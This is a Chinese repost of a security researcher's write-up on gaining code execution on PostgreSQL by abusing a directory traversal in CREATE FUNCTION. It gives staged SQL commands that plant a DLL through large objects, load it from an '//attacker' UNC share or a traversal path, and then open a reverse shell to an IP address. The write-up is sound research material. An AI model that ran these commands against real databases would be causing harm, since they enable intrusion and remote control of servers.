1. 极安网首页
  2. 网络安全技术

PostgreSQL数据库实现RCE的方法

当我研究针对Cisco DCNM中发现的SQL Injection漏洞的利用原语时,我遇到了一种针对PostgreSQL数据库利用SQL Injection漏洞的通用技术。开发漏洞利用原语时,始终首选使用不依赖于其他基础技术的应用程序技术。

PostgreSQL数据库实现RCE的方法-极安网

https://srcincite.io/blog/2020/01/14/busting-ciscos-beans-hardcoding-your-way-to-hell.html

我分享了另一种技术来实现对PostgreSQL数据库的远程代码执行。

应用程序技术将具有破坏数据库完整性并利用应用程序代码与数据库之间的信任的能力。在Cisco DCNM的情况下,我发现了4种不同的技术,我在其中写了2种(目录遍历和反序列化)。

0x01 研究成果

雅各布·威尔曾开源了一个简单的方法来使用(AB)实现对PostgreSQL的代码执行。最近,丹尼斯·安扎科维奇(Denis Andzakovic)还详细描述了他通过(ab)使用对postgresql.conf文件的读/写来获得针对PostgreSQL的代码执行的方式。

https://www.postgresql.org/docs/12/sql-copy.html
https://pulsesecurity.co.nz/articles/postgres-sqli

我进行了一些测试,发现在Windows下NETWORK_SERVICE无法修改postgresql.conf文件,因此Denis的技术是* nix特有的。但是,他的技术不需要堆栈检查,因此在某些情况下危害很大。

0x02 create function obj_file目录遍历漏洞

· CVE:无

· CVSS:4.1 (AV:N / AC:H / PR:H / UI:N / S:U / C:L / I:L / A:L)

环境准备

该技术在* nix和Windows上均有效,但是由于我们利用了create函数的可操作性,因此确实需要堆栈检查。

https://www.postgresql.org/docs/12/sql-createfunction.html

漏洞描述

在最新版本的PostgreSQL上,superuser除C:\Program Files\PostgreSQL\11\libWindows或/var/lib/postgresql/11/lib* nix 上,不再允许从其他任何地方加载共享库文件。此外,NETWORK_SERVICE或postgres帐户均无法写入此路径。

但是,经过身份验证的数据库superuser可以使用“big obj”将二进制文件写入文件系统,并且当然可以写入C:\Program Files\PostgreSQL\11\data目录。对于更新/创建数据库中的表,其原因应该很清楚。

潜在的问题是CREATE FUNCTION操作允许目录遍历到数据目录!因此,实质上,经过身份验证的攻击者可以将共享库文件写入数据目录,然后使用遍历来加载共享库。这意味着攻击者可以执行本机代码,从而执行任意代码。

攻击流程

第1阶段-我们首先在pg_largeobject表中创建一个条目。

select lo_import('C:/Windows/win.ini', 1337);

我们可以在这里轻松使用UNC路径(并跳过第3步),但是由于我们希望使用与平台无关的技术,因此我们将避免这种情况。

第2阶段-现在,我们修改pg_largeobject条目以包含完整的扩展名。此扩展名需要针对目标PostgreSQL数据库的确切主要版本进行编译,并与其架构相匹配。

对于长度> 2048字节的文件,该pg_largeobject表使用该pageno字段。因此,我们必须将文件分成2048个字节大小的块。

update pg_largeobject SET pageno=0, data=decode(4d5a90...) where loid=1337;
insert into pg_largeobject(loid, pageno, data) values (1337, 1, decode(74114d...));
insert into pg_largeobject(loid, pageno, data) values (1337, 2, decode(651400...));
...

通过使用PostgreSQL中的对象标识符类型,可以跳过第1阶段(仅对第2阶段执行单个语句执行),但是我还没有时间确认这一点。

第3阶段-现在我们可以将二进制文件写入数据目录。请记住,由于选中了遍历,因此我们不能在此处使用遍历,但是即使可以,也仍然存在对NETWORK_SERVICE帐户的严格文件权限,并且我们的选择也受到限制。

select lo_export(1337, 'poc.dll');

阶段4-现在,让我们触发库的加载。

几年前,我在一个课堂上演示了可以使用固定路径(包括UNC)来加载针对PostgreSQL版本9.x的扩展,从而获得本机代码执行的能力。@ zerosum0x0 通过在文件系统上使用具有固定路径的文件写入技术演示了这一点。但是在那时,对文件系统的权限并不那么严格。

create function connect_back(text, integer) returns void as '//attacker/share/poc.dll', 'connect_back' language C strict;

但是,几年过去了,PostgreSQL开发人员决定阻止固定路径,可惜现在这种技术已经失效了。但是我们可以简单地从lib目录中遍历并加载我们的扩展!create function附加.dll字符串的基础代码,因此不必担心附加字符串:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;

阶段5-触发反向shell。

select connect_back('192.168.100.54', 1234);

本文转载:Source Incite,不代表 极安网 立场,转载请注明出处:https://secvery.com/730.html